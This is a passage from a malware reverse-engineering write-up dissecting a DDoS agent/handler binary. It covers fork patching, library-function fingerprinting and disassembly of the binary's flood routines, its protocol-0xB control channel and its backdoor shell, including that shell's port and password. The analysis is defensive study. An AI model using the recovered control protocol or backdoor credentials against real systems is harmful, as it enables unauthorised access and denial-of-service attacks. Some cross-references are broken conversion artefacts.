Then we tried to run fenris over them, and found the disgusting fact that some more fork calls made it impossible to work. One approach would be to patch every fork() call one by one, but instead we decided to patch the library fork call, so it always returns 0. That way, the binary would always run as the child process without creating a new one. We could miss some information that way, if the parent process was supposed to do something, but at this point it seemed that the binary don’t like parents to work a lot.
To patch the library call we changed the beginning of the function from:
0000:080571E8 libc_fork proc near
push ebp
mov ebp, esp
mov eax, 2
to:
mov eax,0
retn
Once again, using a binary editor, we changed the string:
55 89 E5 B8 02 00 00 00 CD 80 89 C2 85 D2
to:
B8 00 00 00 00 C3 00 00 CD 80 89 C2 85 D2
And generated another 12 binaries that, this time, never create a child process.
We could now run fenris against them.
Again, for the sake of brevity, the big output produced by fenris is not included. It is enough to say that it allowed us to identify several more library functions, like sprintf, execve, execl, strlen, setenv, unsetenv, dup2, kill etc... that make the assembler listing even more readable.
So, analyzing this output, at this point we reached these conclusions:
- the-binary is a kind of agent program, that disguised as a system process, listen for a master to send him commands through the 0xB IP protocol.
- The communications between master and agent is ciphered somehow. The function for decoding the packet data (at position 0x804A1E8) has still to be analyzed. We started to call this function as fnct_15, the name assigned by fenris.
- The first byte of data after the IP header has to be a 0x2, and the first byte decoded is the command we want the agent to execute.
- There are twelve different commands. And they appear to do the following:
- case 0: Seems to craft a packet and send it back.
- case 1: Calls time() and just exists. Probably some additional parameters are needed.
- case 2: Runs a command with csh, redirecting its output to a file. Later on, the file is read and its contents sent back.
- case 3: Tries to resolve a hostname to an IP address and then enters a kind of loop with alarm(600)+sigsuspend().
- case 4: Seems to do the same as case 3.
- case 5: Opens a TCP socket listening in port 23281. After sending something to this port, it does something with the string "TfOjG" and then opens a shell. Most probably is a kind of password.
- case 6: Executes a command (like case 2), but no output is returned.
- case 7: Calls kill(). Probably a kind of suicide order.
- cases 8,9,10,11: same as case 3.
- Some cases seem to do nothing useful, probably because we didn’t send the proper parameters to them. Analyzing the decoding function becomes critical to continue our task.
Analyzing the decode function
Apart from the sprintf function identified by fenris, the fnct_15 is just a bunch of assembler directives, moving around bytes and transforming them. The easiest way to explain what we did to analyze its behaviour is this: we read the assembler and worked with gdb until we found what it did.
It is explained in a very detailed way in the Error! Reference source not found. section, so refer to it to get the full story. Here is enough to say that the decoding process is just a kind of delta algorithm combined with simple Caesar’s cipher.
Anyway, we were finally able to reproduce the decoding function, and –even more importantly- we were able to create an encoding function, so we could send the proper packets to the binary.
A new talkto program appeared, to incorporate this encode/decode capability. You can see the source code for it in appendix 0
Identifying more
functions
We could now play with our new program and analyze the binary behaviour with differents input, but it was the time to think a bit:
After dozens of fenris and gdb executions, and hours of analysis of the assembler listings we had identified as C library functions around 70, and we knew the purpose of several others. But, as a simple grep over the objdump output showed, the binary had nearly 450 functions around. So we had done 15% of the job, more or less! The task to completely analyze the binary was a kind of infinite task, beyond our reach.
It didn’t make sense that the tool contained more than 300 original functions. If fenris hadn’t identify them as libray functions could be because:
- They have been never executed. Fenris only does dynamic analysis, so a function has to be executed to be checked.
- They are from libraries unknown to the fenris signatures database.
- They have been slightly modified, so they appear not to be library functions.
- They are in fact original non-library functions.
So we had an idea. What if we modify fenris so it analyzes all the functions from a binary and tries to identify them? After poking around some time, we decided it was easier to make a new small program than start modifying fenris, a much more complex tool.
In fact, to identify a function, fenris only computes the MD5 checksum with the first 24 bytes. We only need to compute the checksum from the bytes we need and search for it in the signatures database.
We, in the best of quick & dirty programming tradition, made the following:
-
afprint.c, a
small C program (based on fenris fprints.c) that generates the MD5 checksum
from 24 bytes taken from standard input.
-
checka, a
shell script that, given a certain address and a binary file, dumps the first
24 bytes from a binary in the specified address, computes the signature and
compare it with fenris databases, showing any matches.
-
checkf, a
shell script that analyzes all the
functions in a binary, generating their signatures and trying to identify
them.
These utilities are available in appendixes 0, 0 and 0. Days later, with more time, we produced a quicker perl version of checkf, called identify.pl, which is also included as appendix 0.
With them, using fenris signatures, we were able to identify a bunch of functions. In appendix 0 you can see the output from checkf.
However, there still were several hundred unidentified functions. Could it be that the signatures were not the correct ones?
We knew the exact version of libc used by the author of “the-binary” and the exact version of compiler, so we did the following: got the sources for libc version 5.3.12, and installed a gcc compiler version 2.7.2.1.2. We built a libc.a file and extract its signatures from it with the help of the getfprints fenris utility. The signature file generated that way is included in appendix 0.
We then run checkf and, to our delight, much more functions were identified, up to 240. In the appendix 0 the output from this command is included. Even the socket functions (socket, sendto, recv, etc...) that we named as nonlibc_XXX, resulted to be libc functions.
We also noticed a lot of code not being identified as functions by IDA. That is probably because they were never called, but the linker included them. So, with a little effort, we run a slightly modified checkf that checks not only the addresses referenced by a call instruction, but also every address after a retn instruction. That way another group of code was identify, but it was mostly useless, as is never referred. The total number of library functions identified moved up to 405.
Some functions that were only called by libc functions were still not identified. Obviously we didn’t know the compilation options for the library the author of “the-binary” used, so it is quite possible we are not using the very same library. At this point we agreed to accept this proposition: every function only called by libc functions are, almost sure, internal libc functions. So we just called them libc_unknownXXX. We found more than 70 of such functions.
To summarize the situation, at this point we had identified much of the code as library function, so strictly speaking of functions called and left for identification we had the following situation:

fnct_8 (the main() function), apart from library functions, calls five functions depending on the command received: fnct_32_bis, fnct_33, fnct_34, fnct_35 and calls_send_ip_raw_mode. We started using names different of the fenris ones because of the frequent name collisions. Other cases, like case 5, only call library functions.
The functions of encode & decode are called in several parts, and the group of fnct_18, fnct_19 & fnct_32 is profusely called everywhere. Apart from encode & decode, the purpose of the rest wasn’t clear enough.
It was time to come back to more gdb and assembler listing reading in order to clarify the purpose of these functions. The result of that analysis follows.
fnct_19 and its
group
Function fnct_32 just calls fnct_19, but this function does a lot of byte movement, shifting, multiplying, etc... just to produce a single byte. During many days we doubt between two alternatives: it is a kind of random function or a kind of encrypting code.
After studying the code, it definitively remind us the code for a random number generator. But it is hard to imagine someone creating its own random function for this kind of binary. We started to be quite sure that it should be a libray function.
Then, looking again at the code, one of the first lines reads:
08055E49 imul edx, [eax],
41C64E6Dh
That is, multiplying a number with 1,103,515,245. Such arbitrary number could be around somewhere... Precisely! Searching in libc sources we found the following in file __random.c:
long int
DEFUN_VOID(__random)
{
if (rand_type == TYPE_0)
{
state[0] = ((state[0] * 1103515245) + 12345) & LONG_MAX;
return state[0];
}
The very same number, and used inside the random() function. But why it is not identified? Let’s compare them with objdump:
# objdump -d --start-address 0x080559A0 /root/chroot/reverse/the-binary
/root/chroot/reverse/the-binary: no symbols
/root/chroot/reverse/the-binary: file format elf32-i386
Disassembly of section .init:
Disassembly of section .text:
080559a0 <.text+0xd910>:
80559a0: 55 push %ebp
80559a1: 89 e5 mov %esp,%ebp
80559a3: 57 push %edi
80559a4: 56 push %esi
80559a5: 53 push %ebx
80559a6: 8b 55 08 mov 0x8(%ebp),%edx
80559a9: a1 58 89 07 08 mov 0x8078958,%eax
80559ae: 89 10 mov %edx,(%eax)
80559b0: 83 3d 5c 89 07 08 00 cmpl $0x0,0x807895c
80559b7: 0f 84 f3 01 00 00 je 0x8055bb0
80559bd: be 01 00 00 00 mov $0x1,%esi
80559c2: 39
35 60 89 07 08 cmp
%esi,0x8078960
80559c8: 0f
8e a6 01 00 00 jle
0x8055b74
80559ce: 8b 3d 58 89 07 08 mov 0x8078958,%edi
....
# objdump -d __random.o |more
__random.o: file format elf32-i386
Disassembly of section .text:
00000000 <__srandom>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 57 push %edi
4: 56 push %esi
5: 53 push %ebx
6: 8b 55 08 mov 0x8(%ebp),%edx
9: a1 b0 00 00 00 mov 0xb0,%eax
e: 89
10 mov
%edx,(%eax)
10: 83
3d b4 00 00 00 00 cmpl $0x0,0xb4
17: 0f
84 f7 01 00 00 je
214 <__srandom+0x214>
1d: be 01 00 00 00 mov $0x1,%esi
22: 39 35
b8 00 00 00 cmp %esi,0xb8
28: 0f
8e a6 01 00 00 jle
1d4 <__srandom+0x1d4>
2e: 8b
3d b0 00 00 00 mov
0xb0,%edi
They look more or less the same, but the reference to the global variable state[0] makes the coded instructions change. But it is still very similar... This task can still be automatized: if we get first 100 bytes of a function and correlate it with the first 100 of every library function, the maximum correlation could indicate a real match for this type of functions.
A real application should compute a mathematical correlation, but we were in a hurry: we developed some scripts to just compare these 100 bytes, one by one. These are the new utilities:
-
afprint2.c, a
C program that generates the 100 bytes used for signature, reading from
standard input. It is not just a pipe, because it tries to change/remove
non-permanent values (just as fenris fprints
does). Available as appendix 0.
-
fprint2.c, a C
program that generates the 100 bytes used for signature for functions in an
object file. Available as appendix 0.
-
getfprints2,
based on fenris getfprints, generates
signature (just 100 bytes processed with fprint2)
for each function in a static library. Available as appendix 0.
-
checka2, a
shell script that, given a certain address and a binary file, dumps the first
100 bytes from a binary in the specified address, computes this kind of
signature of 100 and compare it with the databases produced with getfprints2, showing any possible matches (functions where matches
bytes where more than a certain limit, with a default of 80). Available as
appendix 0. Its performance is really bad: we should transform
it in a C program as soon as we have some time.
Using them, we can match the functions fnct_18 and fnct_19:
# ./checka2 0x08055E38 /root/chroot/reverse/the-binary
Fingerprint for address 0x08055E38 is 55 89 E5 83 3D 00 00 00 00 00 75 24 A1 00 00 00 00 69 10 6D 4E C6 41 81 C2 39 30 00 00 81 E2 FF FF FF 7F 89 10 A1 00 00 00 00 8B 00 89 EC 5D C3 8B 15 00 00 00 00 A1 00 00 00 00 8B 00 01 02 A1 00 00 00 00 8B 10 C1 EA 01 83 05 00 00 00 00 04 A1 00 00 00 00 39 05 00 00 00 00 77 13 A1 00 00 00 00 A3 50
Searching in databases for a similar (80%) function... (this can take a while)
random matched with 89%
__random matched with 89%
2 possible matches found with correlation > 80%.
# ./checka2 0x080559A0 /root/chroot/reverse/the-binary
Fingerprint for address 0x080559A0 is 55 89 E5 57 56 00 00 00 00 A1 00 00 00 00 89 10 83 3D 00 00 00 00 00 0F 84 F3 01 00 00 BE 01 00 00 00 39 35 00 00 00 00 0F 8E A6 01 00 00 8B 3D 00 00 00 00 A1 00 00 00 00 48 83 E0 03 39 35 00 00 00 00 7E 78 85 C0 0F 84 AF 00 00 00 83 F8 01 7E 6B 83 F8 02 7E 35 8B 4C B7 FC 8D 14 00 00 00 00 01 CA 8D
Searching in databases for a similar (80%) function... (this can take a while)
__srandom matched with 93%
srand matched with 93%
srandom matched with 93%
3 possible matches found with correlation > 80%.
functions that
generate 0xB network protocol packets
Once random() and srand() had been identified, we tried to analyze the functions called inside cases 0 & 2 (calls_send_ip_raw_mode & send_ip_raw_mode):
There are two network functions that are called inside the main switch/case sentence (0x0804831C) found inside “the-binary”. Two branches use this network functions, case0 (0x0804835C) and case2 (0x08048590). The detailed call references to these functions used inside the whole binary program are shown bellow:
Inside CASE0 we have a call to “calls_send_ip_raw_mode”:
0000:0804835C case_0: “case0 begins here”
...
0000:080483E3 call calls_send_ip_raw_mode
Inside CASE2 we have also a call to “calls_send_ip_raw_mode”:
0000:08048590 case_2: “case2 begins here”
...
0000:080486DF call calls_send_ip_raw_mode
The function that has been called “calls_send_ip_raw_mode” calls internally another function two times. This one has been called “send_ip_raw_mode”:
0000:08048ECC calls_send_ip_raw_mode: “this function begins in this memory address”
...
0000:08048EFD call send_ip_raw_mode
…
0000:08048F1B call send_ip_raw_mode
Detailed description of function:
“calls_send_ip_raw_mode” (0x8048ecc)
This function expected 3 parameters:
- A fixed number (packet size) always equal to 400 (0x190) plus a variable size: the sum of both will determine the packet size to be sent. Lets call it TOTAL in all the description.
- Two pointers: one to data packet information and another to the destination IP address definition, what always seems to be 0.0.0.0 (localhost) except if CASE 1 has been called before CASE 0 (see details later).
Continuing is the assembler code example pushing the parameters in the stack and calling this function:
All the assembler code shown belongs to the “objdump” command output if HEX bytes are shown as second column, or belongs to IDA if not.
80483ce: 8d 83 90 01 00 00 lea 0x190(%ebx),%eax
80483d4: 50 push %eax
80483d5: 8b 95 20 bb ff ff mov 0xffffbb20(%ebp),%edx
80483db: 52 push %edx
80483dc: 8b 8d 1c bb ff ff mov 0xffffbb1c(%ebp),%ecx
80483e2: 51 push %ecx
80483e3: e8 e4 0a 00 00 call 0x8048ecc
After being called, the main action it takes is to determine how to behave. It can take 2 very different actions, based on the checking of a global variable (0x807e784):
8048ed8: 83 3d 84 e7 07 08 00 cmpl $0x0,0x807e784
If this variable is equal to zero then it sends a packet as described bellow to itself (starting at address 0x8048ee1), using as the destination IP address the address 0.0.0.0. It is a kind of echo health checking operation.
But, if it is not zero, (starting at address 0x8048f10) apart from calling “usleep()” during 4000 microseconds, it sends the packet to a different system. In this case, “the-binary” is not working as a DDoS agent (as it does in other switch cases), but it is playing the role of a DDoS handler sending remote commands to other distributed “the-binary” agents running in remote systems. So, the same binary code is able to run with both DDoS roles, agent and handler.
The destination IP address used to send the packet to, is determined by the input received in CASE 1. The following global variables defined how CASE 0 should behave and against which IP address:
80483f7: 89 15 84 e7 07 08 mov %edx,0x807e784
80483fd: 8a 85 10 f8 ff ff mov 0xfffff810(%ebp),%al
8048403: 88 05 80 e7 07 08 mov %al,0x807e780
8048409: 8a 85 11 f8 ff ff mov 0xfffff811(%ebp),%al
804840f: 88 05 81 e7 07 08 mov %al,0x807e781
8048415: 8a 85 12 f8 ff ff mov 0xfffff812(%ebp),%al
804841b: 88 05 82 e7 07 08 mov %al,0x807e782
8048421: 8a 85 13 f8 ff ff mov 0xfffff813(%ebp),%al
8048427: 88 05 83 e7 07 08 mov %al,0x807e783
CASE 1 is the only place in the code where these variables are written.
Variable 0x807e784 defines the behaviour, while variables from 0x807e780 to 0x807e783 define the source IP address to be used. So in the packets sent to the remote agents, you can use your own real IP address as source IP (“0.0.0.0”), or you can spoof it if you want.
Once it knows the action that is going to run, it prepares the stack to be able to call another function: “send_ip_raw_mode”, the one that will actually send the packet.
The algorithm followed by “the-binary” is even more complex. In the input data it can received a list of IP addresses corresponding with remote agents, and if the value is not zero it sends more than one packet. Instead, it runs a loop sending a packet to any of the agents in the list, waiting the mentioned 4 ms between “sendto()” calls.
The loop code is the following:
0000:08048EE8 loc_8048EE8: ; CODE XREF: calls_send_ip_raw_mode+3E.j
0000:08048EE8 push 0FA0h
0000:08048EED call libc_usleep ; usleep(4000)
0000:08048EF2 push edi
0000:08048EF3 mov edx, [ebp+arg_4]
0000:08048EF6 push edx
0000:08048EF7 push ebx
0000:08048EF8 push offset byte_807E780
0000:08048EFD call send_ip_raw_mode
0000:08048F02 add esp, 14h
0000:08048F05 add ebx, 4
0000:08048F08 cmp ebx, esi
0000:08048F0A jle short loc_8048EE8
The EBX register is used to go through the loop comparison (0x08048F08), and check if it is equal or less than ESI, the total packet length. While the total length is not reached, it continues reading more destination IP addresses, any of them belonging to a new remote agents. For each loop iteration, the index EBX is increased by 4, the four HEX values that conforms an IP address: X.X.X.X:
0000:08048F05 add ebx, 4
So, the packet that has been received through the CASE 0 call, contains all the remote agents IP addresses you want to communicate with.
Before calling the network function “send_ip_raw_mode”, it places in the stack the following information:
- A pointer to the data area.
- Total packet size, we test it with 1500 bytes packets, the default in our network client.
- Number with the extra bytes added to 0x190 when entering case 0 = TOTAL – 0x190.
8048ecf: 57 push %edi
8048ed0: 56 push %esi
8048ed1: 53 push %ebx
and then:
- Total bytes number, that is, the previous number plus 0x190 = TOTAL.
- Another pointer to the packet information to be sent.
- Pointer to the destination IP address.
- Pointer to a data area to save results: 0x807e780.
The first three arguments of the last four were taken from the previous function call, the one that was run to invoke this function.
8048f10: 57 push %edi
8048f11: 8b 55 0c mov 0xc(%ebp),%edx
8048f14: 52 push %edx
8048f15: 50 push %eax
8048f16: 68 80 e7 07 08 push $0x807e780
At address 0x8048f1b it calls function “send_ip_raw_mode” where all the main actions for sending the packet take place. The same function is also called at address 0x8048efd, if a specific memory position (0x807e784) is different than zero (it doesn´t seem to be the usual situation).
8048ed8: 83 3d 84 e7 07 08 00 cmpl $0x0,0x807e784
Detailed description of function: “send_ip_raw_mode”
(0x8048f94)
All the assembler code shown belongs to the “objdump” command output.
To see the arguments this function is called with, it should be analyze the description of the function called “calls_ send_ip_raw_mode”. Once invoked, one of the first things it does is reserving a buffer to work on later:
8048f97: 83 ec 44 sub $0x44,%esp
Then it saves 3 arguments in stack related with sizes: TOTAL, total packet size and TOTAL-0x190.
After that, it prepares the 3 arguments needed to call “socket()” system call: PF_INET (2), SOCK_RAW (3), IPPROTO_RAW (FF). If it is successful, the socket is created and the file descriptor number “1” is returned.
8048fa9: e8 46 dd 00 00 call 0x8056cf4
Besides, it calls “malloc()” system call with TOTAL + 23. This reserved memory area will be used to build the RAW packet (it is typically placed at address 0x807eba0 and this will be the reference for this description, but of course it is a dynamic memory reservation).
8048fc0: e8 af 2d 01 00 call 0x805bd74
In both system calls, “socket()” and “malloc()”, error checking is considered, exiting if any of them fail.
From address 0x8048fd8 to address 0x804903a, the source and destination addresses of the new created packet are set. Apart from that, it tries to resolve the name of the destination IP address, calling a function that will run the system call “gethostbyname()” (see memory address 0x804913f):
804903a: e8 f9 00 00 00 call 0x8049138
Beginning at address 0x804903f it begins the complete building process of the new RAW IP network packet. All the mentioned information is part of the IP protocol header (see RFC 791):
It sets the packet as IP version 4:
804904e: c6 06 45 movb $0x45,(%esi)
It also set the TTL to 250:
8049051: c6 46 08 fa movb $0xfa,0x8(%esi)
As we already know, the protocol in this packet is the one used in the control channel: 0xB:
8049055: c6 46 09 0b movb $0xb,0x9(%esi)
It needs to set the packet length value: TOTAL (payload) + headers size (0x16).
8049059: 83 c4 1c add $0x1c,%esp
804905c: 66 8b 45 14 mov 0x14(%ebp),%ax
8049060: 66 83 c0 16 add $0x16,%ax
8049064: 86 c4 xchg %al,%ah
8049066: 66 89 46 02 mov %ax,0x2(%esi)
804906a: c6 46 01 00 movb $0x0,0x1(%esi)
Again, the random function, identified as “fnct_32” is used to configure the packet identification field:
804906e: e8 e5 cf 00 00 call 0x8056058
8049073: 86 c4 xchg %al,%ah
8049075: 66 89 46 04 mov %ax,0x4(%esi)
Also, the packet offset must be set, being always zero:
8049079: 66 c7 46 06 00 00 movw $0x0,0x6(%esi)
Next field to be filled up in the packet is one of the most complex values, the checksum:
From address:
0000:0804907F mov word ptr [esi+0Ah], 0
to address:
0000:080490CF mov [edi+0Ah], ax
Next step is to point to the payload, and make a copy using the “memcopy” function. It copies the data from the old received and processed packet information to the new allocated memory area, just after the header recently created and configured.
80490e5: e8 42 d4 00 00 call 0x805652c
But before copying the payload, it sets a “3” at the beginning of the new packet to be sent:
80490d6: c6 07 03 movb $0x3,(%edi)
So the new payload changes: first HEX value is not 0x02 but 0x03 !! This behaviour allow to distinguish if “the-binary” is acting as an DDoS agent or handler:
- 0x02: This is the value when attacker is communicating with handler.
- 0x03: This is the value when handler is talking with a final agent.
Once the whole new packet information has been filled up in the allocated memory, the last relevant action to be taken is how to send this packet. It just prepare the stack with all the arguments needed to call “sendto()” system call (in reverse order):
- File descriptor: 1
- Pointer to the IP packet: 0x807eba0
- Packet length: TOTAL + 0x16
- Flags: zero, that is, there are no flags.
- The “struct sock_addr” reference: it points to this network structure.
- Length of the previous struct: 0x10
Once everything ha been prepared, the packet is sent:
8049101: e8 36 db 00 00 call 0x8056c3c
Finally, it verifies again the error checking associated to the last system call, and if successful, then it frees the previously memory allocated calling the “free()” function and closes de file descriptor, “close(1)”.
fcnt_32bis, fcnt_33,
fcnt_34, fcnt_35
These functions are all very similar: they all take (almost) the same parameters and they all use them to launch a denial of service attack.
For example, these are the parameters of the function fcnt_32bis, that launches a SYN attack:
IP1 - 4 bytes decimal : Target IP
IP2 - 4 bytes decimal : Source IP
IP3 - FQDN (fully qualified domain name)
int a - If a=0 then it will use IP1, else it will use IP3, as the destination IP address.
int b - If b!=0 then it will use IP2, else it will use random IPs, as the source IP address.
int c,d - Used to select the destination TCP port
int e - A counter that influences the strenght of the first burst of packets.
It first sends a burst of forged TCP SYN packets against the target (IP1 or IP3) with either a fixed (IP2) or random source IPs. Then it continues to send the same kind of traffic but leaving 300 microseconds between packets.
When the target is specified as a fully qualified domain name (IP3) it will try to translate its name into the corresponding IP address every 40,000 packets. If it is unable to do so, then it sleeps for 10 minutes before continuing with the very same job. We think it does so for two reasons: one, if the DNS translation gives different IPs (e.g. round robin) it will attack all of them in turn; and second, if it can't translate the name then probably someone is taking measures to protect the target and it is the best option to remain completely silent for a long while and then awake and strike again. This is not the only function where it uses this technique.
The loop never ends: it will keep on attacking for ever.
The other functions work very much like fcnt_32bis, each offering its own speciality:
- fcnt_33 performs a UDP or ICMP bombing against the target ip
- fcnt_34 sends lots of DNS queries to a big, although finite and not random, set of DNS servers it knows about
- fcnt_35 launches a huge amount of DNS queries against the target ip
Getting
somewhere...
And now, at last, we could analyze the detail of the different cases:
case 0:
Case 0 firstly manages how to execute the two branches of a “fork()” system call, that is, the child process branch and the parent process one. Both processes continue running the following actions.
It calls a function that allows to execute the encoding algorithm over some packet information provided through one of the pointers used as a function argument, at address 0x080483BA.
It also uses a fixed value, 0x190 (400d), as an index for this encoding procedure. Looking into the procedure, it runs over a loop 400 times, going through the data packet, so it only encodes the first 400 bytes in the data section. This behaviour can be easily confirmed taking network traces and looking into the payload; the first bytes are in an encrypted format while the last bytes, over 400, are in clear text. The data encoded is the received one but removing the two first HEX values.
The encoding function starts at address 0x804a194.
After finishing the encoding process it uses the returned information to be able to generate a new network packet. Before calling this function to send a RAW packet, “calls_send_ip_raw_mode” at address 0x080483E3, it calls a random function at address 0x080483BF (we call it “fnct_32”). Then it sends the packet.
When exiting at the end, it returns to the waiting loop, “usleep_and_restart”.
See detailed description of function “calls_send_ip_raw_mode” to know how it works, because based on a specific variable value, it sends a packet to itself, destination IP address equal to 0.0.0.0, or it tries to contact other binaries of the same type, sending remote commands with the purpose, for example, of launching a DDoS attack. It uses a loop to send the same command to all of them, once all their IP addresses have been received in the input packet sent using this case. Apart from that, it allow to spoof IP source address based on CASE 1 input data.
Summarizing, the CASE 0 description is the following:
Through this case you can send control commands (in a ciphered format) to other similar agents or even to itselft, based on protocol 0xB (First byte: 02). The agent list is received through the network as a set of IP addresses. This case behaviour is controlled by the input received by case 1: it is posible to define if the packet is destined to itself or to the remote agents, plus, the definition of the IP source address, which cna be te system one or a spoofed address.
Once the configuration has taken place, it begins the network packets generation: all the packets belongs to protocol 0xB (First byte: 03), and allow the distribution of remote command to the DDoS agents.
case 1:
The first part writes some memory addresses that configure the behaviour of the_binary next time it goes through case 0 (the first word is a switch and the other four are the source IP address that it will use when talking to the agents):
0000:080483F0 movzx edx, [ebp+var_FFE] ; case 0x1
0000:080483F7 mov ds:dword_807E784, edx
0000:080483FD
mov al, [ebp+var_7F0]
0000:08048403
mov ds:byte_807E780, al
0000:08048409
mov al, [ebp+var_7EF]
0000:0804840F
mov ds:byte_807E781, al
0000:08048415
mov al, [ebp+var_7EE]
0000:0804841B mov
ds:byte_807E782, al
0000:08048421
mov al, [ebp+var_7ED]
0000:08048427
mov ds:byte_807E783, al
case 2:
We have already talked about case 2. Once the library functions are all identified, it is quite trivial to follow it. Here is the listing of those calls (the complete assembler listing is omitted):
call libc_fork
call libc_setsid
call libc_signal ; signal(0x11,1)
call libc_fork
call libc_sleep ; sleep(10)
call libc_kill ; kill() first child if second fork() failed
call libc_sprintf ; sprintf(var_800, "/bin/csh -f -c \"%s\" 1>%s 2>&1",decode result,"/tmp/.hj237349")
call libc_system ; system(var_800)
call libc_fopen ; fopen(“/tmp/.hj237349”,”r”)
call libc_fread ; fread(var_received_data,1,398,FILE)
call encode ; encode the read data
call random
call call_send_ip_raw_mode ; send it back
call libc_usleep; usleep(400.000)
call libc_fclose
call libc_remove ; remove(“/tmp/.hj237349”)
call libc_exit
case 3:
It performs a DoS attack against many DNS servers by sending them a huge amount of UDP DNS queries of SOA records.
Here you can see a sample packet generated with fnct_34, and how it match a DNS normal SOA query, according to the standard:
(From RFC 1035, pages 26-28)
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
(gdb) x /100xb $eax
0xbfffb184: 0x45 0x00 0x00 0x31 0xcc 0x00 0x00 0x00
0xbfffb18c: 0x8e 0x11 0xcf 0x86 0x03 0x04 0x05 0x06
0xbfffb194: 0x81 0x31 0x07 0xfa 0x70 0x72 0x00 0x35
0xbfffb19c: 0x00 0x1d 0x00 0x00 0xa7 0xd3 0x01 0x00
0xbfffb1a4: 0x00 0x01 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1ac: 0x03 0x6e 0x65 0x74 0x00 0x00 0x06 0x00
0xbfffb1b4: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1bc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1c4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1cc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1d4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1dc: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffb1e4: 0x00 0x00 0x00 0x00
(gdb) x /100ub $eax
0x45 0x00 0x00 0x31 Version|IHL TypeofService Total-Length=49
69 0 0 49 Identification Flag Frag.Offset
204 0 0 0 TTL Protocol Checksum
142 17 207 134 Source address
3 4 5 6 Destination address
129 49 7 250 Options + Padding
-----UDP Header---
112 114 0 53 SourcePort DestinationPort=53
0 29 0 0 Length=29 Checksum
-----DNS Header---
167 211 1 0 ID(16bits) QR/Opcode/AA/TC/RD RA/Z/Rcode
(Standard Query, Recursion desired)
0 1 0 0 QDCOUNT(1 query) ANCOUNT
0 0 0 0 NSCOUNT ARCOUNT
3 110 101 116 3 "net" domain
0 0 6 0 (end of QNAME) QTYPE(0 6 = T_SOA (start of au)
0 1 0 0 QCLASS(0 1 = INternet)
case 4:
It performs a UDP or ICMP bombing DoS attack against the selected target. See description of function fcnt_34 in the previous section.
case 5:
Having a look to the assembler listing, with all the functions identified and our comments, it is quite easy to understand what case 5 does: It creates a tcp listening socket in port 23218 and, if the input received is the correct password (“SeNiF”), it forks a shell with its stdin, stdout & stderr redirected to the socket. So, case 5 is a classical backdoor to the compromised system.
You can review the code by yourself:
case_5:
cmp ds:child_PID, 0
jnz usleep_and_restart ; if there is a child running,
; ignore this command
mov ds:last_command_ID, 6
push 1
push 11h
call libc_signal ; Ignore SIGCHLD
call libc_fork ; fork()
mov ds:child_PID, eax
add esp, 8
test eax, eax
jnz usleep_and_restart ; default
call libc_setsid ; setsid()
push 1
push 11h
call libc_signal ; Ignore SIGCHLD
mov
[ebp+var_11C8], 2 ; var_11C8 = 2
add esp, 8
mov [ebp+var_11C6], 0F15Ah ; var_11C6 = 61786
mov [ebp+var_11C4], 0 ; var_11C4 = 0
mov [ebp+var_44C0], 1 ; var_44C0 = 1
push 0
push 1
push 2
call libc_socket ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
mov [ebp+var_socketfd], eax
push 1
push 11h
call libc_signal ; Ignore SIGCHLD
push 1
push 11h
call libc_signal ; Ignore SIGCHLD
push 1
push 1
call libc_signal ; Ignore SIGHUP
add esp, 24h
push 1
push 0Fh
call libc_signal ; Ignore SIGTERM
push 1
push 2
call libc_signal ; Ignore SIGINT
push 4
lea eax, [ebp+var_44C0]
push eax
push 2
push 1
mov ecx, [ebp+var_socketfd]
push ecx
call libc_setsockopt
; setsockopt(1, SOL_SOCKET, SO_REUSEADDR,
; TRUE [1], 4 (sizeof BOOLEAN))
add esp, 24h
push 10h
lea
eax, [ebp+var_11C8]
push eax
mov edx, [ebp+var_socketfd]
push edx
call libc_bind
; bind(1, {sin_family=AF_INET, sin_port=htons(23281),
; sin_addr=inet_addr("0.0.0.0")}}, 16)
push 3
mov ecx, [ebp+var_socketfd]
push ecx
call libc_listen ; listen(1, 3)
add esp, 14h
nop
loc_8048984:
lea eax, [ebp+var_44C4]
push eax
lea eax, [ebp+var_11D8]
push eax
mov edx, [ebp+var_socketfd]
push edx
call libc_accept ; accept(1, {sin_family=AF_INET,
; sin_port=htons(<origin_port>),
; sin_addr=inet_addr("127.0.0.1")}}, [16])
mov [ebp+var_44CC], eax
add esp, 0Ch
test eax, eax
jz end_case_5
call libc_fork ;fork()
test eax, eax
jnz short loc_8048984
push 0
push 13h
lea eax, [ebp+var_43BC]
push eax
mov ecx, [ebp+var_44CC]
push ecx
call libc_recv ; read 0x13 bytes
xor ebx, ebx
add esp, 10h
loc_80489D4:
mov al, [ebx+ebp-43BCh] ;
; The objective of this loop is add +1 to every received
; byte. Then, the expected password is TfOjG\0, so we have
; to send SeNiF\0 or SeNiF\n
cmp al, 0Ah ; if byte is 0Ah (line feed), make it null.
jz short loc_80489E3
cmp al, 0Dh ;if byte is 0Dh (Carriage return) make it \0
jnz short loc_80489F0
loc_80489E3:
mov byte ptr [ebx+ebp-43BCh], 0 ;
jmp short loc_80489FE
loc_80489F0:
mov [ebx+ebp-43BCh], al
inc byte ptr [ebx+ebp-43BCh] ; go to next byte
loc_80489FE:
inc ebx
cmp ebx, 12h
jle short loc_80489D4
lea
esi, [ebp+var_43BC]
mov edi, offset aTfojg ; "TfOjG"
mov ecx, 6
cld
test al, 0
repe cmpsb ; Find non-matching bytes between incremented
; received string & "Tf0jG" (6 bytes)
jz short case_5_valid_password
push 0
push 4
